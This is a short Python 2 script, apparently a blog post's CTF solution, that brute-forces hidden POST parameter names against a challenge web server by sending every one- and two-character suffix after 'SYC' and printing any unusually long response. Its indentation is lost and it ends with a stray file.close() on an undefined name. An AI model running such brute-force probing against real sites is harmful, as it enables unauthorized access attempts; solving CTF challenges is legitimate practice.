# -*- coding: utf-8 -*-
import string
import urllib2
import urllib
apt=string.printable[:-6]
def httpsend(baopo):
data={}
baopofirst="SYC"
data[baopofirst+baopo]="1"
url="http://web1.sycsec.com/b33804a7301e583ca6a473c1c092b09f/"
post_data=urllib.urlencode(data)
print post_data
headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
req=urllib2.Request(url,headers=headers,data=post_data)
resul=urllib2.urlopen(req)
res=resul.read()
if len(res)>286:
print post_data
print res
exit(-1)
def dfs(s,num):
httpsend(s)
if len(s)==num:
return
for i in apt:
dfs(s+i,num)
myinput=2 #生成字符的位数
dfs("",myinput)
file.close()
http://web1.sycsec.com/b33804a7301e583ca6a473c1c092b09f/
最新推荐文章于 2021-06-07 17:06:57 发布